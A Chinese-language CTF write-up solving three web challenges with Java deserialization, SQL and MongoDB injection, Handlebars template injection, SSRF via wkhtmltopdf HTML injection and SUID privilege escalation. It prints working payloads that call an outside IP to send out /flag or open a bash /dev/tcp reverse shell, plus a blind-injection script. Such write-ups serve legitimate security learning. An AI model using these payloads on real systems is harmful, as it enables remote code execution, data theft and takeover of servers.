参考wp:https://blog.csdn.net/rfrder/article/details/121072948
ezgadget
审一波源码
@ResponseBody
@RequestMapping({"/readobject"})
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021)
objectInputStream.readObject();
return "welcome bro.";
}
}
可以看到/readobject有反序列化。
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public String toString() {
ToStringBean toStringBean = new ToStringBean();
Class clazz = toStringBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object Obj = null;
try {
Obj = clazz.newInstance();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return "enjoy it.";
}
}
toStringBean这个类里面有defineClass可以利用defineClass在java反序列化当中的利用
当时因为看到有jackson依赖,就想着打jackson。但是又不知道怎么触发toString。直接不会了。然后wp里面是根据cc5链想到BadAttributeValueExpException类里面的toString。看来之前只会用工具打java不太行,于是学习了一波cc链:JAVA反序列化 - Commons-Collections组件cc5:Java安全之Commons Collections5分析然后现在分析一波wp。先写个恶意类,将flag外带:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Exp extends AbstractTranslet
{
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public Exp() {
try {
String[] command = { "/bin/sh", "-c", "curl http://47.96.173.116:2333 -d @/flag" };
Runtime.getRuntime().exec(command);
}
catch (Exception ex) {
ex.printStackTrace();
}
}
public static void main(final String[] array) {
}
}
在源码里面的pom.xml给了环境为java8,所以直接拿java8编译成class文件,然后base64输出
把base64放到poc里面。分析一波poc:
package com.ezgame.ctf;
import com.ezgame.ctf.tools.ToStringBean;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
public class poc {
public static void main(String[] args) throws Exception{
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
Field field = clazz.getDeclaredField("val");
field.setAccessible(true);
ToStringBean toStringBean = new ToStringBean();
field.set(badAttributeValueExpException,toStringBean);
byte[] classByte = Base64.getDecoder().decode("yv66vgAAADQALwoACwAcBwAdCAAeCAAfCAAgCgAhACIKACEAIwcAJAoACAAlBwAmBwAnAQAJdHJh" +
"bnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tM" +
"Y29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
"YW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgBAKYoTGNv" +
"bS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2Fw" +
"YWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
"L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+" +
"AQADKClWAQANU3RhY2tNYXBUYWJsZQcAJgcAJAEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5n" +
"OylWAQAKU291cmNlRmlsZQEACEV4cC5qYXZhDAATABQBABBqYXZhL2xhbmcvU3RyaW5nAQAHL2Jp" +
"bi9zaAEAAi1jAQArYmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQcA" +
"KQwAKgArDAAsAC0BABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAuABQBAANFeHABAEBjb20vc3VuL29y" +
"Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5" +
"Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9u" +
"AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7" +
"AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmlu" +
"dFN0YWNrVHJhY2UAIQAKAAsAAAAAAAQAAQAMAA0AAgAOAAAAGQAAAAMAAAABsQAAAAEADwAAAAYA" +
"AQAAAAwAEAAAAAQAAQARAAEADAASAAIADgAAABkAAAAEAAAAAbEAAAABAA8AAAAGAAEAAAARABAA" +
"AAAEAAEAEQABABMAFAABAA4AAAB3AAQAAgAAACkqtwABBr0AAlkDEgNTWQQSBFNZBRIFU0y4AAYr" +
"tgAHV6cACEwrtgAJsQABAAQAIAAjAAgAAgAPAAAAHgAHAAAAEgAEABQAGAAVACAAGgAjABgAJAAZ" +
"ACgAGwAVAAAAEAAC/wAjAAEHABYAAQcAFwQACQAYABkAAQAOAAAAGQAAAAEAAAABsQAAAAEADwAA" +
"AAYAAQAAAB4AAQAaAAAAAgAb");
clazz = Class.forName("com.ezgame.ctf.tools.ToStringBean");
field = clazz.getDeclaredField("ClassByte");
field.setAccessible(true);
field.set(toStringBean,classByte);
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(bout);
oout.writeUTF("gadgets");
oout.writeInt(2021);
oout.writeObject(badAttributeValueExpException);
byte[] bytes = bout.toByteArray();
byte[] encode = Base64.getEncoder().encode(bytes);
System.out.println(new String(encode));
}
}
根据cc5的利用源码:
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
tiemap是写好的反序列化payload,在这题,我们只需要修改这个payload即可。所以下面就对toStringBean进行了一波构造,最后得到反序列的base64,为了防止+号被认为空格,所以还要urlencode。然后在/readobject上传即可或得flag。
eznode
审一波代码。
router.post('/', async function (req, res, next) {
let username = req.body.username;
let password = req.body.password;
if (check(username) && check(password)) {
let sql = `select * from user where username='${username}' and password = '${password}'`;
const result = await select(sql)
.then(close())
.catch(err => { console.log(err); });
console.log(result);
if(result){
if (result.username == username && password == result.password) {
res.cookie('token', result, { signed: true });
res.send("yes");
} else {
res.send("username or password error")
}
} else{
res.send('no')
}
} else {
res.send("Fak OFF HACKER");
}
});
发现登录有sql注入
const check = (word) => {
try {
let flag = false
const blacklist = ['\\', '\^', ')','(', '\"', '\'', '*', ')', ' '];
blacklist.forEach(ele => {
if (word.indexOf(ele) != -1) {
flag = true
return false;
}
})
if (flag == true) {
return false;
}
return word;
}
catch (error) {
console.log(error);
}
}
然后这里有过滤。然后居然可以用数组绕过。特地在网上搜了一下这个indexof咋回事
如果是字符串数组,直接把数组里面每个元素进行比较。当我们传Array("asd'")的时候,它将比较
asd‘==’
,所以直接绕过了。我们还需要绕过password == result.password
,第五空间考过,但是当时没有认真分析,现在直接亡羊补牢。相关资料https://www.shysecurity.com/post/20140705-SQLi-Quine把payload单独拿出来进行测试,看看到底什么原理:
'/**/union/**/SELECT/**/'admin',REPLACE(REPLACE('"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#',CHAR(34),CHAR(39)),CHAR(63),'"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#')#
看起来一团糟。按照单双引号闭合分析,先执行
REPLACE('"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#',CHAR(34),CHAR(39))
它把
"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#
这个字符串里面的双引号替换为单引号,所以出现上面的结果。我们化简一下:
REPLACE(“'/**/union/**/SELECT/**/'admin',REPLACE(REPLACE('?',CHAR(34),CHAR(39)),CHAR(63),'?')#”,CHAR(63),'"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#')#
好乱。继续根据单双引号闭合分析。这是最后的replace。意思是把
'/**/union/**/SELECT/**/'admin',REPLACE(REPLACE('?',CHAR(34),CHAR(39)),CHAR(63),'?')#
里面的?替换为"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#
所以把问号的地方填入这个,然后惊人的发现,就是
'/**/union/**/SELECT/**/'admin',REPLACE(REPLACE('"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#',CHAR(34),CHAR(39)),CHAR(63),'"/**/union/**/SELECT/**/"admin",REPLACE(REPLACE("?",CHAR(34),CHAR(39)),CHAR(63),"?")#')#
这个不就是我们原来注入的语句吗,这个就是Quine:https://en.wikipedia.org/wiki/Quine_%28computing%29
能自行返回自己源码的代码。本地调试一波:
由于本地多了1列,union要保证列数相同,所以加了id,可以看到password好像被修改了。
其实并没有,这跟union有关
union是取并集,password为空的结果不存在,所以并不是表内的结果,而是union的结果,导致我们似乎修改了管理员密码。最终,我们绕过了
password == result.password
,登录了admin。然后继续审代码。有个文件上传,还有一个模板渲染
router.post('/admin', checkLogin, function (req, res, next) {
var name = req.body.name ? req.body.name : "admin";
res.render('admin', name)
});
// 还未上线..., checkLogin
router.post('/upload', checkLogin, upload.any(), function (req, res, next) {
fs.readFile(req.files[0].path, function (err, data) {
if (err) {
console.log(err);
} else {
response = {
message: 'File uploaded successfully',
filename: req.files[0].path
};
res.end(JSON.stringify(response));
}
});
})
(听说可以直接在vscode上搭建会提示hbs漏洞)但是我在phpstorm上就没有提示。所以根据wp,找一波package.json。
{
"name": "app",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "node ./bin/www",
"dev": "nodemon index.js -e js"
},
"dependencies": {
"cookie-parser": "~1.4.4",
"crypto": "^1.0.1",
"debug": "~2.6.9",
"express": "~4.16.1",
"hbs": "^4.0.1",
"http-errors": "~1.6.3",
"morgan": "~1.9.1",
"multer": "^1.4.3",
"mysql": "^2.18.1",
"path": "^0.12.7",
"sequelize": "^6.7.0"
}
}
hbs漏洞。两个cve一起:漏洞挖掘:Handlebars库 模板注入导致RCE 0day
https://securitylab.github.com/advisories/GHSL-2021-020-pillarjs-hbs/
先来一个hbs的poc:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return global.process.mainModule.constructor._load('child_process').exec('curl http://47.96.173.116:2333/ -d @/flag')"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
然后直接上传返回路径。
然后用另外一个cve,在admin上进行渲染:
{"name":{"feng":"777","settings":{"views":".","view options":{"layout":"upload_tmp/1636092885890.jpg"}}}}
然后即可得到flag。
OldLibarary
代码审计一波。可以看到登录有注入:
db_table := Conn.DB("ctf").C("users")
result := User{}
err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+user.Username+"' && this.password == '"+user.Password+"') {return true;}}"}).One(&result)
在handler.go有用户名提示:
由于执行语句是js写的,可以进行万能密码登录:
username=administrator&password='||this.username=='administrator
也可以来一个脚本跑密码:
import requests
url = 'http://127.0.0.1:8888/signin'
files = {"file": "123"}
data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"}
cookies = {"PHPSESSID": "123"}
result = ''
i = 0
while (1):
left = 32
right = 128
while (1):
mid = (left + right) // 2
if left == right:
result += chr(left)
print(result)
i += 1
break
if chr(mid) == '\\':
temp = '\\\\'
else:
temp = chr(mid)
payload = {
"username": f"admin888' || this.password[{i}] > '{temp}')return true; else if ('a' == 'b",
"password": "123"}
res = requests.post(url=url, data=payload).text
if 'Are You Kidding Me' in res:
left = mid + 1
else:
right = mid
if (right == 32):
break
print('[*]Result ' + result)
然后直接登录admin即可。
func makepdf(title, author, description, covers string) string {
// Create new PDF generator
pdfg, err := wkhtmltopdf.NewPDFGenerator()
if err != nil {
fmt.Println(err)
}
template := "<!DOCTYPE html>" +
"<html lang='en'>" +
"<head>" +
"<meta charset='UTF-8'>" +
"<meta name='viewport' content='width=device-width, initial-scale=1.0'>" +
"<title>Library</title>" +
"</head>" +
"<body>" +
"<center>" +
"<h2>Book description</h2>" +
"<table border='1' cellpadding='10'>" +
"<tr>" +
"<th>Book Title</th>" +
"<td>" + title + "</td>" +
"</tr>" +
"<tr>" +
"<th>Author</th>" +
"<td>" + author + "</td>" +
"</tr>" +
"<tr>" +
"<th> Content Abstract </th>" +
"<td>" + description + "</td>" +
"</tr>" +
"</table>" +
"<br><img src='covers/" + covers + "' height='300'>" +
"</center>" +
"</body>" +
"</html>"
pdfg.AddPage(wkhtmltopdf.NewPageReader(strings.NewReader(template)))
err = pdfg.Create()
if err != nil {
fmt.Println(err)
}
err = pdfg.WriteFile("./upload/pdf/" + title + ".pdf")
if err != nil {
fmt.Println(err)
}
return template
}
makepdf这里将html转换为pdf。然后在/delete有一个代码注入执行:
func DeleteController(c *gin.Context) { // The function is temporarily inaccessible
var filename Filename
if err := c.ShouldBindJSON(&filename); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}
cmd := exec.Command("/bin/bash", "-c", "rm ./upload/pdf/" + filename.Filename)
if err := cmd.Run(); err != nil {
fmt.Println(err)
return
}
c.String(http.StatusOK, fmt.Sprintf("File Deleted Successfully"))
}
但是需要本地才能访问。
func IPCheckMiddleWare() gin.HandlerFunc {
return func(c *gin.Context) {
if c.Request.RemoteAddr[:9] != "127.0.0.1" && c.Request.RemoteAddr[:9] != "localhost" {
c.JSON(403, gin.H{"msg": "I'm sorry, your IP is forbidden"})
return
}
c.Next()
}
}
所以需要ssrf进行执行。明显makepdf也能进行html注入,直接尝试一波:
1</td><script>
var httpRequest = new XMLHttpRequest();
httpRequest.open('POST', 'http://127.0.0.1:8888/delete', true);
httpRequest.setRequestHeader("Content-type","application/json");
var obj = { "filename":"asd.pdf;bash -i >& /dev/tcp/47.96.173.116/2333 0>&1" };
httpRequest.send(JSON.stringify(obj));
</script><td>1
将这个写在title或者author那些字符串拼接的地方:
然后反弹shell。需要提权才能读取到flag。看到comm有suid。
所以直接
comm /flagggisshere /etc/passwd